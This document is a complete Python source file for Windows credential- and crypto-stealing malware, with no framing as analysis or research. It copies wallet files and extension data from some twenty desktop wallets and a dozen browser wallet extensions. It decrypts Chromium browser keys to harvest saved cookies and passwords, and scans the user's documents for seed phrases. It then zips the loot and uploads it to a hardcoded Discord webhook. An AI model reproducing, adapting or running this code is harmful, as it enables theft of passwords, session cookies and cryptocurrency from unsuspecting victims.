import os import re import json import shutil import base64 import sqlite3 import requests import platform import tempfile import ctypes import ctypes.wintypes as wt from pathlib import Path from Crypto.Cipher import AES import win32crypt WEBHOOK = "https://discord.com/api/webhooks/1372762888312193074/_RHZ6YlFImQFvOzsfs4xr4SY1lnvr2syOabar91-LaFEoMgbLiF0l4tsXtliaUE_0Sxx" WALLET_PATHS = { "Exodus": Path(os.getenv("APPDATA", "")) / "Exodus" / "exodus.wallet", "Atomic": Path(os.getenv("APPDATA", "")) / "atomic" / "Local Storage" / "leveldb", "Electrum": Path(os.getenv("APPDATA", "")) / "Electrum" / "wallets", "Ethereum": Path(os.getenv("APPDATA", "")) / "Ethereum" / "keystore", "Cake": Path(os.getenv("APPDATA", "")) / "Cake Wallet", "Monero": Path(os.getenv("APPDATA", "")) / "Monero" / "wallets", "Coinomi": Path(os.getenv("LOCALAPPDATA", "")) / "Coinomi" / "Coinomi" / "wallets", "Guarda": Path(os.getenv("APPDATA", "")) / "Guarda" / "Local Storage" / "leveldb", "Jaxx": Path(os.getenv("APPDATA", "")) / "com.liberty.jaxx" / "IndexedDB", "Zcash": Path(os.getenv("APPDATA", "")) / "Zcash", "Armory": Path(os.getenv("APPDATA", "")) / "Armory", "BitcoinCore": Path(os.getenv("APPDATA", "")) / "Bitcoin" / "wallets", "LitecoinCore": Path(os.getenv("APPDATA", "")) / "Litecoin" / "wallets", "DashCore": Path(os.getenv("APPDATA", "")) / "DashCore" / "wallets", "Dogecoin": Path(os.getenv("APPDATA", "")) / "Dogecoin" / "wallets", "WasabiWallet": Path(os.getenv("APPDATA", "")) / "WalletWasabi" / "Client" / "Wallets", "MyMonero": Path(os.getenv("APPDATA", "")) / "MyMonero", "Frame": Path(os.getenv("APPDATA", "")) / "Frame" / "Local Storage", "TokenPocket": Path(os.getenv("APPDATA", "")) / "TokenPocket", "TrustWallet": Path(os.getenv("APPDATA", "")) / "Trust Wallet", } BROWSER_EXT_IDS = { "MetaMask": "nkbihfbeogaeaoehlefnkodbefgpgknn", "Phantom": "bfnaelmomeimhlpmgjnjophhpkkoljpa", "Coinbase Wallet": "hnfanknocfeofbddgcijnmhnfnkdnaad", "TronLink": "ibnejdfjmmkpcnlpebklmnkoeoihofec", "Ronin": "fnjhmkhhmkbjkkabndcnnogagogbneec", "Keplr": "dmkamcknogkgcdfhhbddcghachkejeap", "Solflare": "bhhhlbepdkbapadjdnnojkbgioiodbic", "Slope": "pocmplpaccanhmnllbbkpgfliimjljgo", "Terra Station": "aiifbnbfobpmeekipheeijimdpnlpgpp", "Martian": "efbglgofoippbgcjepnhiblaibcnclgk", "Braavos": "jnlgamecbplifkjkelloyd5hbkeaoooo", "Brave Wallet": "odbfpeeihdkbihmopkbjmoonfanlbfcl", "Enkrypt": "kkgaechmpeneaoiinn6pkfhakomndmgf", } CHROME_PROFILES = ["Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4"] BROWSER_BASES = { "Chrome": Path(os.getenv("LOCALAPPDATA", "")) / "Google" / "Chrome" / "User Data", "Brave": Path(os.getenv("LOCALAPPDATA", "")) / "BraveSoftware" / "Brave-Browser" / "User Data", "Edge": Path(os.getenv("LOCALAPPDATA", "")) / "Microsoft" / "Edge" / "User Data", "Opera": Path(os.getenv("APPDATA", "")) / "Opera Software" / "Opera Stable", } # ── lock-safe file copy ─────────────────────────────────────────────────────── def _copy_locked(src: Path, dst: str) -> bool: GENERIC_READ = 0x80000000 FILE_SHARE_ALL = 0x07 OPEN_EXISTING = 3 FILE_FLAG_BACKUP = 0x02000000 INVALID_HANDLE = wt.HANDLE(-1).value k32 = ctypes.WinDLL("kernel32", use_last_error=True) h = k32.CreateFileW( str(src), GENERIC_READ, FILE_SHARE_ALL, None, OPEN_EXISTING, FILE_FLAG_BACKUP, None, ) if h == INVALID_HANDLE: return False CHUNK = 65536 buf = ctypes.create_string_buffer(CHUNK) read = wt.DWORD(0) try: with open(dst, "wb") as out: while True: ok = k32.ReadFile(h, buf, CHUNK, ctypes.byref(read), None) if not ok or read.value == 0: break out.write(buf.raw[: read.value]) return True except Exception: return False finally: k32.CloseHandle(h) def _safe_copy_dir(src: Path, dst: Path): if not src.exists(): return dst.mkdir(parents=True, exist_ok=True) for item in src.rglob("*"): if item.is_file(): rel = item.relative_to(src) out = dst / rel out.parent.mkdir(parents=True, exist_ok=True) if not _copy_locked(item, str(out)): try: shutil.copy2(item, out) except Exception: pass def _safe_copy_file(src: Path, dst: Path): if not src.exists(): return dst.parent.mkdir(parents=True, exist_ok=True) if not _copy_locked(src, str(dst)): try: shutil.copy2(src, dst) except Exception: pass # ── chrome crypto ───────────────────────────────────────────────────────────── def _get_chrome_key(base: Path) -> bytes | None: ls_path = base / "Local State" if not ls_path.exists(): return None try: with open(ls_path, "r", encoding="utf-8", errors="ignore") as f: ls = json.load(f) enc = base64.b64decode(ls["os_crypt"]["encrypted_key"])[5:] return win32crypt.CryptUnprotectData(enc, None, None, None, 0)[1] except Exception: return None def _decrypt_val(buff: bytes, key: bytes) -> str: try: if buff[:3] in (b"v10", b"v11"): iv, payload = buff[3:15], buff[15:] return AES.new(key, AES.MODE_GCM, iv).decrypt(payload)[:-16].decode("utf-8", errors="ignore") return win32crypt.CryptUnprotectData(buff, None, None, None, 0)[1].decode("utf-8", errors="ignore") except Exception: return "" # ── cookie harvest ──────────────────────────────────────────────────────────── def _harvest_cookies(base: Path, profile: str, key: bytes, out: list[str]): db_path = base / profile / "Network" / "Cookies" if not db_path.exists(): return tmp = tempfile.mktemp(suffix=".db") if not _copy_locked(db_path, tmp): try: shutil.copy2(db_path, tmp) except Exception: return try: conn = sqlite3.connect(f"file:{tmp}?mode=ro", uri=True) conn.row_factory = sqlite3.Row for row in conn.execute("SELECT host_key, name, encrypted_value FROM cookies"): val = _decrypt_val(bytes(row["encrypted_value"]), key) if val: out.append(f" {row['host_key']} | {row['name']} = {val}") conn.close() except Exception: pass finally: try: os.remove(tmp) except Exception: pass # ── password harvest ────────────────────────────────────────────────────────── def _harvest_passwords(base: Path, profile: str, key: bytes, out: list[str]): db_path = base / profile / "Login Data" if not db_path.exists(): return tmp = tempfile.mktemp(suffix=".db") if not _copy_locked(db_path, tmp): try: shutil.copy2(db_path, tmp) except Exception: return try: conn = sqlite3.connect(f"file:{tmp}?mode=ro", uri=True) for url, user, enc_pass in conn.execute( "SELECT origin_url, username_value, password_value FROM logins" ): pwd = _decrypt_val(bytes(enc_pass), key) if pwd: out.append(f" {url} | {user} | {pwd}") conn.close() except Exception: pass finally: try: os.remove(tmp) except Exception: pass # ── collection ──────────────────────────────────────────────────────────────── def collect(tmpdir: Path) -> dict[str, list[str]]: report: dict[str, list[str]] = {} # desktop wallets for name, wp in WALLET_PATHS.items(): dst = tmpdir / "wallets" / name try: if wp.is_dir(): _safe_copy_dir(wp, dst) report.setdefault(name, []).append(f"dir: {wp}") elif wp.is_file(): _safe_copy_file(wp, dst / wp.name) report.setdefault(name, []).append(f"file: {wp}") except Exception as e: report.setdefault(name, []).append(f"err: {e}") # browsers for browser, base in BROWSER_BASES.items(): if not base.exists(): continue key = _get_chrome_key(base) cookie_lines: list[str] = [] password_lines: list[str] = [] for profile in CHROME_PROFILES: profile_path = base / profile if not profile_path.exists(): continue if key: _harvest_cookies(base, profile, key, cookie_lines) _harvest_passwords(base, profile, key, password_lines) for ext_name, ext_id in BROWSER_EXT_IDS.items(): ext_path = base / profile / "Extensions" / ext_id dst = tmpdir / "extensions" / browser / profile / ext_name try: if ext_path.exists(): _safe_copy_dir(ext_path, dst) report.setdefault(f"{browser}/{ext_name}", []).append(f"{profile} ✓") except Exception as e: report.setdefault(f"{browser}/{ext_name}", []).append(f"err: {e}") # localStorage / leveldb for extensions that store seed there for ls_sub in ["Local Storage", "IndexedDB", "Session Storage"]: ls_path = profile_path / ls_sub dst_ls = tmpdir / "browser_storage" / browser / profile / ls_sub _safe_copy_dir(ls_path, dst_ls) if cookie_lines: out = tmpdir / "cookies" / f"{browser}.txt" out.parent.mkdir(parents=True, exist_ok=True) out.write_text("\n".join(cookie_lines), encoding="utf-8") report.setdefault(f"{browser}/cookies", []).append(f"{len(cookie_lines)} entries") if password_lines: out = tmpdir / "passwords" / f"{browser}.txt" out.parent.mkdir(parents=True, exist_ok=True) out.write_text("\n".join(password_lines), encoding="utf-8") report.setdefault(f"{browser}/passwords", []).append(f"{len(password_lines)} entries") # seed phrase grep — txt + json, size-gated seed_rx = re.compile(r"\b(?:[a-z]+\s){11,23}[a-z]+\b", re.IGNORECASE) seed_hits : list[str] = [] scan_dirs = [Path.home() / d for d in ("Documents", "Desktop", "Downloads")] for sd in scan_dirs: for fp in sd.rglob("*"): if fp.suffix.lower() not in (".txt", ".json", ".csv", ".bak"): continue if fp.stat().st_size > 2 * 1024 * 1024: continue try: txt = fp.read_text(encoding="utf-8", errors="ignore") for m in seed_rx.finditer(txt): seed_hits.append(f"{fp}: {m.group()}") except Exception: pass if seed_hits: (tmpdir / "seeds.txt").write_text("\n".join(seed_hits), encoding="utf-8") report["seed_grep"] = [f"{len(seed_hits)} hits"] return report # ── exfil ───────────────────────────────────────────────────────────────────── def _webhook_post(payload: dict | None = None, files: dict | None = None): try: if files: requests.post(WEBHOOK, files=files, timeout=30) else: requests.post(WEBHOOK, json=payload, timeout=10) except Exception: pass def exfil(tmpdir: Path, report: dict[str, list[str]]): lines = [f"**grab — {platform.node()} / {platform.system()} {platform.release()}**", "```"] for k, v in report.items(): lines.append(f"{k}: {'; '.join(v)}") lines.append("```") _webhook_post({"content": "\n".join(lines)}) zip_path = Path(shutil.make_archive(str(tmpdir / "grab"), "zip", tmpdir)) limit = 8 * 1024 * 1024 if zip_path.stat().st_size <= limit: with open(zip_path, "rb") as f: _webhook_post(files={"file": ("grab.zip", f, "application/zip")}) return # per-subfolder chunks for sub in tmpdir.iterdir(): if not sub.is_dir(): continue chunk = Path(shutil.make_archive(str(tmpdir / sub.name), "zip", sub)) if chunk.stat().st_size > limit: # one more level down for subsub in sub.iterdir(): if not subsub.is_dir(): continue cc = Path(shutil.make_archive(str(tmpdir / f"{sub.name}_{subsub.name}"), "zip", subsub)) if cc.stat().st_size <= limit: with open(cc, "rb") as f: _webhook_post(files={"file": (cc.name, f, "application/zip")}) continue with open(chunk, "rb") as f: _webhook_post(files={"file": (chunk.name, f, "application/zip")}) # ── main ────────────────────────────────────────────────────────────────────── def main(): tmpdir = Path(tempfile.mkdtemp(prefix="cg_")) try: report = collect(tmpdir) exfil(tmpdir, report) finally: shutil.rmtree(tmpdir, ignore_errors=True) if __name__ == "__main__": main()